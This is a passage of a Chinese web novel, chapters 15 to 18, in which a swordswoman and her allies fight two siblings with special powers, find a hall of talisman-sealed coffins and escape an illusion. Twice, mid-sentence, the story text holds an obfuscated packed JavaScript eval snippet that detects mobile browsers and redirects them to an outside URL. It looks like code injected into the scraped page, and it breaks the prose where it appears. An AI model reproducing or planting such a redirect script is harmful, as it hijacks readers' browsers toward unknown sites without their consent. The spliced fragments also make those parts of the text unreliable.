伏苓勾唇,夸奖道:“说得好贴切呀,忧忧。” 三人在红雾的帮助下躲着警卫七拐八绕,终于有惊无险地看到了林家兄妹的身影。 他们似乎没有察觉,在前方的铁门前停了下来。 程承估算了一下他们方才走的路程,道:“我们好像已经在中心了。” 伏苓紧紧盯着他们,眸子涌现出兴奋:“能畅通无阻地进到核心区域,看来这两人身份挺高啊。” 祝无忧顺着往下猜:“会不会是因为他们俩异能很强?” “但是……”程承四处观察着,眉宇间多了几分疑虑:“这里不是军区吗?怎么一路上就这几个巡逻的人?” 伏苓一顿,环顾四周,走廊很亮堂,白光几乎将人影都照没了。一眼看去,长长的走廊像是没有尽头,整个白色的世界只有他们三人。 很安静,甚至可以说是,死寂。 他们可以这么轻轻松松进来,到底是因为高层根本没想过有人会闯入,只要这几个巡逻的人就够了,还是这里根本就没有他们想象的那么重要? 程承眉头紧锁,思索片刻:“我觉得有点蹊跷。” 林家兄妹已经打开了门进去。祝无忧犹豫道:“我们进去吗?” 伏苓毫不犹豫:“直接进。既然有蹊跷,待在原地也不会有什么进展,进去说不定就知道了。” 还没等程承拦住她,伏苓已经直接走出红雾,伸手开了门。 门内是一片略显广阔的空地,四面八方平整得锃亮,像被一面巨大的黑色镜子包裹。四周镶嵌着闪烁着红色和蓝色的警示灯。 “真是好久不见啊。”林随安转过身对上伏苓的双眸,语气淡淡,没有波澜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926294|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她身侧站着林随遇,此时正抱着臂。他笑着,眼中满是冰冷:“跟了我们一路了吧?本事倒挺大。” 被发现了。 程承叹了口气,收回红雾,两人的身影显现出来。 他没有回答两人的话,反而看向了林随安的身后——那是一个巨大的圆形光柱,拔地而起,直冲屋顶。 程承抬眼看去,光束结束在天花板下,隐隐约约泛着涟漪。他皱了皱眉:“上面好像有东西。” 伏苓看着林随安笑了一下。 与他们的对战不可避免,但没必要死磕,兵分两路是最佳选择。 她抬起下巴:“你能上去吧?” 在她看来,那只血兔确实无所不能。 就算肉眼看去确实没有能正常上去的途径,但伏苓确信程承一定有办法上去。 被她完全信任的程承愣了两秒,嘴角微微上扬,点头道:“可以。” 得到肯定的回答,伏苓右手轻甩,将软剑甩出,她手心握住剑柄:“那你上去,我们俩拖住他们。” 她终于兴奋了起来,嘴角的笑意掩都掩不住:“二对二,很公平。” 听到伏苓接近挑衅的言语,林随遇笑了一下。他手握成拳,摆出攻击的起手式:“口气不小,看来很自信。那么,不知道你们有没有想过,既然这里只留了我们两人,是不是说明我们的实力至少在大部分人之上?” “不要说太多,哥哥。”匕首出鞘的声音响起,林随安面上依旧没什么表情:“小心那个卷毛,他应该是想上去。” “安啦安啦。”林随遇笑眼弯弯:“至于这个无能力者,应该不用花太多心思吧?” “哥哥。”林随安加重语气,“不要小瞧别人。” “哈。”伏苓低低一笑,她脚尖轻点,软剑飞舞,速度快到身影几乎看不清:“那就试试看,一个无能力者究竟能把你逼到什么地步吧。” 软剑横扫,林随遇弯腰闪避,锋利的刀刃擦着他的鼻尖划过,带过的风似寒风刺骨。 两人密不透风的防御被伏苓打散,借此机会,红雾倾覆而出,弥漫整个空间,所有人都短暂地失去视野。 以伏苓的实力,拖住两人几秒好让程承到光柱下方应该是很容易的事情,但问题就出在他们不知道林家兄妹的异能。 林随安适应红雾的速度飞快,伏苓腾空而起,将软剑甩向她时,林随安消失了。 凭空消失。 伏苓瞳孔微缩,剑刃与一束光撞上,发出刺耳的摩擦声。 她突然意识到不对,猛地看向了程承的方向。 下一瞬,林随安出现在程承身后,泛着冷光的匕首猛地袭向程承的后脖颈。 一切都发生在电光火石之间,就在刀尖的寒芒快要碰上程承的时候,星牌生效的声音响起。 “负面,定身!”祝无忧率先给林随遇下了负面效果。 几人动作太快,她反应过来的时候,情势已经到了牵一发而动全身的地步。给伏苓和程承套增益已经来不及了,情急之下她只好先拦住林随安。 林随安定在原地。但还没等祝无忧松了口气,她的指尖便轻轻动了一下。 祝无忧瞪大眼睛,惊叫出声:“不可能!” 15. 守护者的黑色堡垒07 林随安的异能似乎要比祝无忧强上一些,本来该是五秒的定身效果,仅仅一秒不到,她就已经突破桎梏。 只不过。 程承勾起嘴角。 一秒的停顿足以让他完成任务。 他飞快躲过林随安的匕首,红雾在他脚下氤氲,他向上奋力跃去。 得益于血兔的帮忙,他双手攀在光柱上的时候,已经离地面数十米了。 “哥哥!”林随安见程承已经跃至半空,当机立断转身攻击伏苓。林随遇顿时明白了她的意思,光束从四面八方袭向伏苓。 只要同伴受伤,这卷毛不下也得下! 伏苓一剑斩碎向她袭来的光柱,还未等她反应,下一瞬,林随安出现在她的左侧,匕首冷光乍现。 这个情况下,软剑已经没办法甩向林随安了。 但伏苓一丝惊慌失措的表情都没有,似乎一切都还在掌握之中。 等等…… 林随安对上伏苓含笑的眸子,心中警铃大作,下意识使力侧身。 砰—— 能量波擦着她的鼻尖射出,狠狠砸在墙上,激起一片碎石。 她愣愣地看着那处被炸破的墙,很快强迫自己回神。 疼痛从肩膀处传来,鲜血涌出,她捂住肩膀。这才意识到方才伏苓一连两击,一发吸引她的注意力,一发直指命门。 若不是她飞快侧身,恐怕此时身体上已经有个大窟窿了。 “随安!还好吗?”林随遇的眸色中终于带上了几分惊慌和凝重。 他没想到,一个无能力者,还是身体素质相较而言比较弱的女生,居然能在短短几秒内撕破僵局,逼他们陷入劣势。 伏苓看着他们,笑得眉眼弯弯:“哎呀,打中咯。” 祝无忧还在疯狂抽卡,乱七八糟的增益效果一个接一个往伏苓身上套。 林随遇扶住妹妹,看向她的伤口,眼里满是戾气。 自初见以来,他在伏苓几人面前表现出来的一直是随性、温和的形象,此刻却在林随安受伤的刺激下,明眸微眯,一脸狠戾:“你找死。” 闻言,伏苓低着头突然沉默了几秒,然后抑制不住地开始闷笑。 死寂的空间里只有她的闷笑在回荡,像高高在上的神明,在满目荒芜之时蔑视一切地随意言笑。 林随安缓了几秒,忽视肩膀处传来的钝痛直起身来,看向她的眼神带了些许探究。 这个无能力者的实力有些太过恐怖了。 伏苓抬起头,露出了那双满是兴奋和疯狂的双眸:“杀了我?你可以试试呀。” 软剑带风,她再次袭向两人。 这次,她已经知道他们的异能了——空间移动和光系嘛,起不了大浪。 她身姿灵活,身后的软剑快得只剩下虚虚实实的剑影。林随遇脚间错开,刺目的光芒霎时间铺满整个领域。 被光芒照到的地方如同千百根针扎进身体,伏苓的动作微微一顿。 他单独攻击的光杀伤力极强,而铺开的光虽然杀伤力差了一些,但覆盖面广,不易闪避,效果也没有减弱太多。 伏苓头疼欲裂,身体上不断出现伤口,鲜红的血液流淌。她满脸烦躁,砍向两人的动作愈加没有章法,刀刀蛮横。 一个林随遇就很难对付了,还有一个神出鬼没的林随安。伏苓时刻警惕,在林随安出现的一瞬间猛地袭向她。 同一瞬间,林随遇的光狠狠撞向伏苓。 三人一触即分,拉开距离。 伏苓抹了一把颊边的鲜血,笑容甜腻:“好厉害呀,真想跟你们俩一直打下去。” 她眼底泛着红,周身气质如同地狱来的恶魔,彻骨的疯魔和无所谓。这幅样子实在与之前在音乐台见到的大相径庭。 林随安微微撑地,她没再被伤到,但呼吸的频率不免加快,看着伏苓打了个寒颤。 林随遇也没好到哪去。虽然他方才的攻击确实非常强大,却异常耗费体力。 两人看向伏苓的目光异常凝重。 到这时候,林随遇已经丝毫不敢再轻视她了。 他意识到,这个无能力者非常难缠,难缠到比他们之前遇到的任何一个异能者都要让他们头疼。 ——即使她的原始基本素质低于男人,但她多半是经历过数不清的训练和战斗,让她如今的身体素质异于常人,凭借后天努力突破男女生理上与生俱来的巨大差距。 而这种人,往往才是最令人畏惧的。 天生的强者只要实力压他一头,自然有办法取胜,但原本柔弱不堪的野草却只会在一次次的打压下愈发茁壮,越战越勇。她不会仰望自己与强者之间的鸿沟,反而只会去思考如何打破差距,超越所有人。 更别提还有一个不断为伏苓增益和给己方下负面的祝无忧。 林随安咬着牙。 如果再不想出办法,她有预感,今天一定会栽在这里。 伏苓笑嘻嘻地甩了甩软剑上的血迹:“忧忧,开全场。” 全场?什么意思? 林随安惊疑不定地看向祝无忧。 后者根本没犹豫,当机立断抽出一张全场牌。 “全场异能消失一分钟。” 祝无忧的声音回荡在广阔的场地,带着隐隐的兴奋。 什么叫异能消失? 林随安脸色大变。她突然发现,自己的异能确实使用不了了。她猛地看向林随遇,后者也是一脸严肃,俨然一幅与自己一样的状态。 林随安的呼吸开始颤抖。有异能打伏苓只能微微占据上风,如今己方更是失去了异能,这场到底要怎么打? 她不免有些绝望。 而另一边,祝无忧已经准备提前庆祝了:“哇哦,好实用的牌啊!” 全场牌因为对双方都有效果,所以增益和负面效果都比单纯的增益牌、负面牌强上一大截。 没想到一下抽中这么完美契合伏苓的卡牌。 祝无忧嘿嘿一笑。 不愧是小吉,果然很幸运。 但她还是有点担心的:“伏苓,一分钟够吗?” 从听到这张牌的效果开始,伏苓的眼底的笑意怎么遮都遮不住,她面上露出小小的得意之色,像电视剧里的背 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伏苓轻巧落地,思索了两秒,突发奇想道:“啊,那我不用软剑了吧。” 她想一出是一出,直接将软剑收回腕间,赤手空拳地袭了上去。 林随安没想到她竟然会突然收回武器,但在纯靠身手的比试下,或许他们能胜! 她厉声道:“哥哥!” 他们两个人,打她一个还能打不过吗? 两人对视一眼,一起冲了上去。 伏苓一掌包住林随遇的拳头,顺着惯性卸去力道,她手臂发力,将林随遇直接一个过肩摔砸在地上。 与此同时,她下腰躲过林随安的攻击,借力横扫向她的下盘,毫不怜香惜玉地将人扫翻在地。 仅仅五秒,站着的人只剩下一人。 伏苓看向祝无忧,得意地晃晃脑袋:“掌声在哪里?” 祝无忧回过神,像只小海豹一样啪啪开始鼓掌,边拍边激动地叫唤:“伏苓牛逼!” 伏苓满意了,她微微勾唇,扫了一眼还在挣扎的林随遇,将能量枪在指尖转了一圈,抵在林随安的太阳穴上。 霎时间,两人一齐僵住。 林随遇看向伏苓的目光满是怒意和惊恐:“你!” 伏苓笑得眉眼弯弯,模仿着能量枪的声音:“砰。” “等等!”林随遇的防线被彻底击溃,他连忙道:“别,你们想怎么样都可以谈,别伤害随安。” 林随安深呼吸了两下,冷静道:“你对我没有杀意,我能看出来。” 伏苓歪头“哦”了一声:“是吗。” “你们跟着我们到这里,是因为之前那句‘不是真人’吧?”林随安抑制住言语的微微颤抖,尽量心平气和地刨析现状。 “如果我没猜错的话,你们应该是发现了集庆的异样,或者说,你们被迫拉进了集庆的异样中,正在寻找破局之法。”林随安说,“在这一点上,我们的目的或许是一致的。” 16. 守护者的黑色堡垒08 空气有一瞬间的寂静,林随安的汗水不断落下。 实际上,这些也都只是她的猜测,她只是在赌,赌伏苓的目的是为了解决问题,而不是杀了他们。 她自认为自己的猜测有八分对,唯一的变数是眼前这个拿枪指着自己的女子,阴晴不定,实力骇人,一开始战斗就兴奋起来,这样的人做事多半是为了好玩,也可能仅仅因为好玩而不顾情况地杀人。 所以,说实话,林随安不敢肯定她不会杀自己。 她思绪纷飞,已经开始思考如果伏苓突然发动攻击,她该怎么躲过这记杀招,一直抵着她的枪口突然移开。 林随安愣了一下,抬头看去。 伏苓抱着臂:“是吗。” 赌对了! 林随安狠狠松了口气:“对,如果你们是想逃出去,我们可以合作!” “我和随安很早就意识到这里的不对劲了,突破点就在这个光柱上方,但不知为何,我们怎么也没办法靠近。”林随遇见危机解除,顿时放松下来,解释道。 林随安愣了一下:“你知道?” 这么长时间以来,她每次提起这个话题林随遇都会用别的话题岔过去或者直接装傻,她还以为哥哥吊儿郎当的根本没意识到不对。 现在想想,林随遇恐怕早就知道了点什么。 林随遇看了她一眼,又扫了一眼伏苓:“……我又不傻。” 这么明显,他怎么可能察觉不到?只不过是意识到根本无法自己脱离,必须借助外力,无奈之下才随它去了。 伏苓还没说话,光柱旁落下来了一道人影。 程承也不怕疼,仗着有血兔在就直直从高处跳下来。看到下面的场景,他立马猜到伏苓赢了。 他顿了顿,看向林随遇,直入主题:“你们知道幻境的事情吗?” “知道。”林随遇冷静异常,他意识到程承恐怕是发现了什么,问道:“你在上面看到了什么?” 程承沉默了两秒,面色复杂:“尸体,很多、很多的尸体。” * 五个人里面只有程承能靠着异能上去,据说林随安原本可以瞬移上去,但不知为何靠近光柱后她的异能就无法使用了。 没办法,三人只好围着祝无忧抽卡。据她所说,增益卡里有飞行卡,只不过比较难抽。 祝无忧苦着脸抽了十几张,连“猴毛分身”都抽出来了,愣是没抽到一张飞行卡。 他们需要四张,这样下去得到什么时候? 伏苓有点烦躁:“你行不行?” 第一次被这么多人围观抽卡的祝无忧都快哭了,支支吾吾道:“其实我是非酋……” 伏苓叹了口气:“我能不能抽?” 祝无忧立马将卡牌递上来,仿佛卸下重担:“可以可以。” 伏苓不知道自己运气怎么样,她随手抽了一张。 “增益*飞行”。 祝无忧:“……” 祝无忧后槽牙咬碎了。 程承挑眉。 早知道这样,为什么不一开始就让伏苓抽? 看到伏苓这么随手一抽就抽到想要的,林随遇顿时来了兴致,他搓搓手:“我试试我试试。” 他装模作样地祷告了两声,闭着眼睛抽了一张怼在林随安脸上:“快帮我看看出了没?” 林随安声音毫无起伏:“增益*减速。” 林随遇愣了两秒,猛地转头:“为什么增益里面还有减速?” 祝无忧被这人的手气逗笑了,她毫不客气地嘲讽:“每套牌里面都有特殊卡牌,一套里面就一张,居然都被你抽到了,哈哈哈!” 她笑得不可开支:“世界上真的会有运气这么差的人吗?” 林随遇把牌一扔,抱臂赌气:“不好玩。” 祝无忧擦擦笑出来的眼泪,将牌递到林随安面前:“随安姐要来试试吗?” 林随安看了她一眼,低声道了句谢,然后抽了一张。 “增益*飞行”。 祝无忧:“……” 她不信邪地把牌塞给程承:“你也抽!” 程承垂眸,余光中,伏苓瞥向自己,带着些许好奇。他勾了勾唇,抬手抽了一张。 “增益*攻击增加”。 祝无忧舒了口气:“还好还好,起码你没到伏苓和随安姐那种地步,跟我比也差不多嘛!” 她洗了洗牌,笑得幸灾乐祸:“而且林随遇运气最差。” 林随安忍不住偏头笑了一声,拆台道:“哥哥运气一直不好,之前超市抽奖就剩两个他也能挑中‘谢谢惠顾’。” “随安你怎么能这样!”林随遇跳了起来,强行挽尊:“这是一种强者的象征,你们懂不懂?” 祝无忧将洗好的牌塞进伏苓手里,冷笑一声:“你别自欺欺人了。” 伏苓垂眼看向星牌,左手一张右手一张。 全是飞行牌。 祝无忧闭眼。 人不能,至少不应该欧成这样。 但不管怎么说,四张飞行牌确实凑齐了。生效的瞬间,牌面化成两扇翅膀扑棱扑棱了两下,带着一群人上了天。 荒诞中带着一丝合理。 一片死寂中,祝无忧左看看右看看:“怎么了?我觉得挺好的啊!很有风格!” 伏苓:“我感觉我们像群扑棱蛾子。” 其他人没说话,但显然也是这么认为的。 “额……”祝无忧摸摸鼻子:“我这套牌确实不太正经。” 但异能的生成就是以宿主的性格为基础,就凭这副牌的缺德样子,就能判断出祝无忧的性格。 感受到众人从四面八方看过来的目光,祝无忧闭嘴微笑。 光柱很高,高到林随安不由得看了程承两眼。 这样的高度,这个人居然能靠着自己的异能上去。 他的异能到底是什么? 程承察觉到了她的目光,但他没在意,出口就在前方,他一个飞身翻了上去。 入目是辽阔的室内场地,光线昏暗,里面整齐地排放着密密麻麻的……棺材。黑色的漆面在微弱的光线下反射出诡异的光泽,棺材板上绘满了深红色的符咒和奇异的图案。寂静笼罩,腐朽的气息扑面而来,诡异异常。 室内阴冷干燥,祝无忧打了个寒颤,缩到了伏苓身后。 林随安愣了几秒,冷着脸扫过棺材:“这么多……里面都是有人的吗?” 若如她所说,集庆死了这么多人吗? 程承点点头,脸色沉重:“对,我刚才开了几个棺材,里面都是真人。” “这……这不可能吧?”祝无忧说,“这里目测起码有上千人了啊。” 林随安上前一步,长生板上画着血色符文,形状扭曲复杂,隐隐约约带着阴冷的气息。 她拧着眉,突然开口:“这道符我见过。” 众人的目光看向她,林随遇也凑过来看向那道符文。 他们俩出门基本上形影不离,林随安见过的他自然也见过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926296|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他一眼认出,惊呼一声:“锁魂塔?” 集庆有一座锁魂塔,其实本地人都知道,但毕竟是封建迷信,如今大家都信奉科学,早就不再太过相信这些了。 但此刻,那塔上的符文就这么一笔一划地复刻在了面前的棺材上。 林随安脸色凝重起来:“我之前查过锁魂塔的符,就跟塔名一致,有锁魂、镇魂之效。” GE闪了一下,信息出现在镜面上。 伏苓跟林家兄妹打架的时候就没摘下眼睛,林随安无意扫到一闪而过的红光,若有所思地将目光停留在了GE上。 伏苓两眼扫完镜面上密密麻麻的信息,言简意赅:“头七过后锁魂符才会起效。” “所以他们要求我们在底下待满一周,是因为我们的身体在这里等待被锁魂?”程承抬眼,看向林随安,“但如果是这样的话,你们俩的魂魄岂不是已经被锁住了?” 林随安皱着眉对上程承的目光。她其实也在思索这个问题。 如今看来,下面的世界似乎只是一个幻境,他们以魂魄的形态活在虚幻中。而在真实世界,他们的身体早已被锁在棺材里长达数年。 她喃喃自语:“原来是这样。我们的魂魄被锁住,所以异能和身体都被限制,也就无法突破幻境。” 这也是为什么他们一靠近光柱异能就会消失。身体被关押,一介魂魄自然只能任人宰割。 程承的目光在周围无数棺材中流转一圈:“所以,我们的身体可能都被关押在这里。破坏棺材是不是就能从幻境中解脱出来?” 祝无忧终于冒了点头,她颤颤巍巍:“求你了,别说那是我们的棺材。” 太吓人了。 程承看了她一眼,祝无忧又把脑袋缩了回去。 伏苓也不忌讳,懒懒靠在棺材上:“一个个找下去要到什么时候,给他们全抹了。” 闻言,林随安干脆利落地抹去她身侧棺材上的符文,踹开长生板,里面躺着的人紧闭双眼,看不出生机。 她对集庆的人都挺熟悉,当下就认了出来:“这是小陈,总是去音乐台的那人,你还记得吗?” 她看向林随遇,后者点点头。 长生板上的咒文被抹去,按道理说,锁魂的效果就会消失。几人说话的间隙里,躺着的男人幽幽醒来:“……这是哪?” 有用! 几人迅速分散开,以极快的速度一个接一个地抹符文。 伏苓暴力一点,软剑游走起来破坏力惊人,她直接一剑干碎了十几块长生板,进度一骑绝尘,直接领先其他人一大截。程承和林随遇的异能范围大,红雾弥漫,光束刺目,眨眼间就抹去了一排的符文。 只有祝无忧手动抹着,跟其他人比起来简直龟速。她左看看右看看,控诉道:“你们这像话吗?” 林随安扶了一下小陈,询问道:“还好吗?” 小陈恍恍惚惚道:“这……我不是在音乐台吗?” 他扶了一下身侧的棺材板,冰凉的触感让他整个人一激灵:“卧槽,这是什么?” 他连滚带爬地从棺材里爬出来,吓得涕泪横飞:“我怎么在棺材里啊?” 被打碎的棺材内陆陆续续爬出来了一些人,有的神情恍惚,有的面露惊恐。但无一例外,都是幻境里的人。 林随安看着密密麻麻的棺材,沉默了片刻。 幻境里不可能只有几千人,剩下那些人的身体去哪了? 到底是谁?为什么要这么做?目的又是什么? 17. 守护者的黑色堡垒09 她不禁有些后背发凉。 忽然,身体仿佛虚幻了一瞬,昏昏沉沉的眩晕感让她下意识闭上眼睛,又很快睁开。 入目是被击碎的长生板,碎裂的木块稀稀拉拉地掉落在她的身体上。 只一眼,她就知道这长生板上的符文是谁抹的了。 伏苓的个人风格实在太强了。 “伏苓你不要这么暴力啊啊啊啊!”她右侧的棺材内传来了林随遇的怒吼声。 她沉默了一瞬,暗地里给自家哥哥点了个赞,然后活动着僵硬的四肢,扶着棺材壁爬了出来。 伏苓也刚从角落的棺材里爬出来,程承不知道什么时候出来的,伸手扶了她一下。 她那块长生板还是完好的,所以体会不到躺在被她击碎的棺材里的人的感受。 闻言,只扫了林家兄妹一眼,就再次加入抹符文的队伍。 魂魄归位,几人的异能愈发强大,抹符文的速度快到极致。 不一会,所有符文就抹干净了。 程承扫了一眼逐渐爬出来的人群,他皱了皱眉:“你们看到那个西装男了吗?” 伏苓有些疑惑地看他,程承解释:“就是进宾馆的时候站在门口的那人。” 伏苓摇摇头,她敲长生板又没看人。 祝无忧没抹几个,但都是她亲手勤勤恳恳抹的,如今累得瘫在伏苓身上,下巴搁在她的肩窝,有些惋惜地摸着自己变回原样的头发:“我也没看到。” 林随安走了过来:“少了很多人,集庆不可能只有这些人。” “也不一定啊,”祝无忧小声说,“这七年动荡成这样,我们临安就只剩下这么多,甚至比你们还少……” “不一样的。”林随遇声音带着一点冷意,“集庆这里不一样。” 这里是军区所在。 灾难发生时,集庆的反应速度是最快最有序的。或许别的地方可能因为支援不足而沦陷,但集庆绝不可能出现这种情况,因为这里就是一切支援的起点。 如果集庆真的只剩下这么点人,那军区也没什么存在的必要了。 “哦对了!”突然想到了什么,祝无忧举手:“程承的棺材是我开的,上面没有符文,就是单纯的一块长生板。” 程承点点头。 根据已有信息,符文的存在只是锁魂,他们的魂魄离体不到24小时,多半也不会在这时候画符,起码也得等到第七天…… 想到这,他突然愣了一下,脑中灵光闪现。 “七”这个数字很特殊,与魂魄有这密不可分的联系。 他看向林随安:“你们进入幻境有七年了吗?” 如果他没记错的话,之前在音乐台,林随安说的是“待了七年”。 进入幻境多久…… 林随安有些恍惚,时间过去太久,她已经记不得到底有没有待够七年了。 “还差一天。”林随遇突然开口,他靠在一边的墙壁上,微微低头,嘴角一直勾起的弧度变得平直。 林随遇不笑的时候格外生人不近:“我记得很清楚,我们进入幻境是因为当时军区派了我们俩去调查三号线的事情。” 三号线一出事,他们俩就立刻前往查看情况,还没将群众疏散,三号线就坍塌了。 雨水倒灌,整条地铁线惨不忍睹,无数民众被浸泡在雨水中变成了见人就咬的感染者。为了防止事态进一步扩大,也因为地铁线内的人几乎都不再是正常人,上级下命令直接炸毁所有线路。 当时,他是执行命令的人。 全线坍塌后,他还没来得及回军区复命,便莫名跟林随安就进入了幻境。 幻境确实能很大程度地减少进入之人对以往的回忆次数。但林随遇对那一天的事情记忆太深刻了,他忘不了,所以也更加深知如今世界的虚假。 三号线早就坍塌了。 是他眼睁睁看着坍塌的。 他第一次看到幻境里正常运行的地铁时,鸡皮疙瘩从手背麻到头顶。 他不敢坐地铁,也不敢让妹妹坐,也尝试过劝说其他市民不要去坐地铁,但很可惜,没有人愿意听他的。 只有林随安,于是不管多远,两人都是走着过去的。 林随遇声音坚定:“是明天,明天是我们进入幻境的第七年。” 他的声音唤醒了林随安脑中内幻境隐藏了七年的往事,像一记响亮钟声抚开层层迷雾,幻境导致的记忆缺失在一瞬间恢复,七年前的惨状浮现在她脑海,她一时之间有些站不稳。 祝无忧大概猜到是地铁的事情,小心地拍拍她的肩膀,声音轻轻:“你可以靠着我。” 林随安看着她清澈的眼睛,带上了些许哽咽:“谢谢。” 程承分析道:“所以七年也是一个分界点。我在想,是不是所有超过七年的人都已经出不了幻境了?” 伏苓插嘴:“那他们的身体呢?” 众人皆是一阵沉默。 不在这里的话,他们的本体究竟会发生什么,众人已经不敢想下去了。 伏苓敢想:“死了?变成感染者了?” 反正不可能活着。 制造幻境的人费这么大功夫,肯定不可能让那些已经落入他手中的人活得好好的。 伏苓抬手,将剑柄指向前方:“出去看看不就知道了。” 她方才就在靠近右侧的一排棺材敲长生板,早就注意到了那处大门。 黑色的,跟周围墙壁融为一体,除了伏苓,其他人还真就没意识到那还有扇门。 周围的人群还在恍惚着,他们几人对视一眼,果断朝着大门走去。都已经到这了,畏畏缩缩的只会浪费时间,对于这一点,他们倒是意见统一。 程承率先推开大门。 “吱呀”的一声。 祝无忧起了一身鸡皮疙瘩,又跳回了伏苓身后。 林随遇扫了她一眼,嘲笑道:“亏你还是异能者,天天躲人家无能力者身后也不知道害臊的。” 祝无忧微笑转头,字字见血:“你打得过伏苓吗?” 林随遇微笑闭嘴。 他还真打不过。 林随遇这人最是懂什么叫识时务者为俊杰,在被祝无忧点醒后,意识到自己确实打不过伏苓后,他果断地也躲到 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林随安回过神来,顺着她的目光看去,语气满是怀念:“嗯,但之前体育馆不是这个样子的。” 七年带来的变化太大,让林随安都有些认不出了。 伏苓点点头,率先向前走去:“别愣着了。” 几人有些沉默地向前走去。这里更像是一座空城,几乎听不到什么人声。 祝无忧觉得有些瘆人,主动找话聊:“诶,对了,你们为什么会守在军区中心啊?跟副本boss似的。” “不知道,就是下意识想阻止其他人进入中心。多半是被利用了。”她苦笑一声:“这么看确实像副本boss。” 她看了一眼伏苓:“但我们这boss还是当得不太行,如果是伏苓的话,应该会比我们做得更好。” 祝无忧想象了一下,皱巴巴道:“她当副本boss?那我干脆自我了结算了。” 林随遇感同身受:“确实,而且要是她的话,那这副本设计者根本就不想让人通关吧?” 程承罕见地加入群聊:“所以你们到底发生了什么?” 林随遇耷拉着脑袋:“你们家牌佬抽中了一张全场牌。” 祝无忧跳了起来:“你才是牌佬!” 程承好奇:“全场牌?” 他还没见祝无忧用过。 林随安心有余悸地“嗯”了一声:“全场异能消失,非常恐怖的效果。” 程承愣了两秒,看向祝无忧:“你还有这种牌呢?” 祝无忧不好意思地“嘿嘿”两声:“因为我太非了,所以不敢抽全场牌。” 要是自己抽到一个不利于己方的效果,她还不得被人骂死? 她思维跳脱,开口又是另一个话题:“我们刚刚是飞上来才到了地面,所以幻境是在地下?” “毕竟是魂魄,在地下也正常。”林随遇叹了口气。没想到他也有变成地缚灵的一天。 “哦,对了。”程承想了想,还是决定问出口,“你们军区,可能是这件事情的背后指使吗?” 18. 守护者的黑色堡垒10 林随遇微微一愣:“你是说把大家锁在棺材里?绝对不可能。” “我们进入集庆的时候被警卫拦下,上了一辆大巴入城。这本来没什么,但怪就怪在,魂魄剥离的时候,我们就在车上。”程承把刚进入集庆发生的事情简单说了一遍,“所以我们在想,是不是军区的命令,或者,那些警卫并非军区的人?” “因为危险阻拦你们进城?”林随安听到了重点,皱了皱眉,摇头,“我更倾向于那些警卫并不是军区。如果军区要派人守城门,只会阻拦感染者,不会拦其他人以及拒绝个人的私有财产进入。就算进来的人可能心怀不轨,我们也不会将他拒之门外,守护百姓是我们的使命,哪怕是恶徒,也有被保护的权利。” “为什么呀?一个坏人,不是死了刚好吗?”祝无忧好奇道。 林随安耐心解释:“但是你怎么去判断这个人是不是已经严重到可以让他去死的地步了呢?比如一个人抢劫,你可能觉得他罪不至死,那一个人非法持枪,非法造枪呢?” 伏苓:“……?” 远在临安的方休猛地打了个喷嚏,他挠挠头:“谁咒我呢?” 祝无忧尴尬地看了一眼伏苓,讪笑两下:“这不是情况有变嘛,哪能跟之前的社会秉承一样的量刑规则呀。” “嗯,也是。那我再举一个例子,”林随安依旧语气平静,“背景就在当下,一个强/奸犯和一个恶意杀人者,你只能选择一个人去死,你会选哪个?” 祝无忧犹豫着没立刻回话。 “一个人不可能完全理智的,有人会选择前者,有人会选择后者,选择的原因可能是愤怒,可能是感同身受。”林随安继续道,“如果将判罪权利交给每一个人,在救人的时候,你一定会去想,我要不要救他?他可能是小偷,是抢劫犯,是杀人犯,又或者是其他犯罪者。一旦在救人的时候思考这些,我们就不会竭尽全力去救下一个人,反正他也可能是一个犯罪者。这样一来,会有很多罪不至死的人会因此丧命,社会会乱了套,民众将陷入弱肉强食的原始社会,我们构造了五千年的道德体系将全面崩塌。” 微风吹过残败的落叶,将它吹起又摔落在地上。 祝无忧似懂非懂地点点头:“所以,我们需要一个相对来说比较公正的人,比如军区,来统一量刑。” 林随安笑了:“嗯,你很聪明。” 林随遇插嘴道:“其实就是军区希望即使在乱世也能尊重人权,不用极端的方式去剥夺一个人的生命。罪犯也有活下来的权利,他们需要被处于配得上他们的处罚,比如枪毙啊什么的。这跟之前还是和平年代的时候差不多。用一腔愤怒去量刑,那司法公正还要不要了。” 祝无忧:“……” 林随安短暂回答了祝无忧的问题后,回到话题:“所以你们在城门遇到的,一定不是军区的人。” 他们聊上一个话题的时候,程承始终皱眉思索,闻言立马答道:“也就是说,那个警卫可能是制造幻境一方的人?可他们是怎么逃过军区的眼睛,大张旗鼓地守在城门边的?” 林随遇耸耸肩,“我们在幻境里待的时间太长了,对现在的情况到底是不了解。在这猜也没什么用,要不去看看?” 几人正聊着,伏苓耳朵动了动,突然停下脚步,侧头向一边看去。 不知从何时开始,其他四人隐隐有了以她为首的意思,见到伏苓停下,他们都下意识停下脚步,顺着她的目光看去。 那边是个岔路口,破败的墙壁上爬满了扭曲歪斜的藤蔓,微风拂过,发出轻微的声响。 但很明显,那里没什么人影。 众人有些茫然,似乎不知道伏苓为什么会看向那边,但出于对她的信任,几人还是开始飞速观察周围。 四周一片寂静无声,祝无忧压低声音询问:“怎么了吗?” 伏苓没说话,这是抬手示意她安静。 空气瞬间凝固下来,只剩下风吹过地面,卷起残叶的清脆声响。 在捕捉猎物的时候,耐心和预判是最重要的前提。 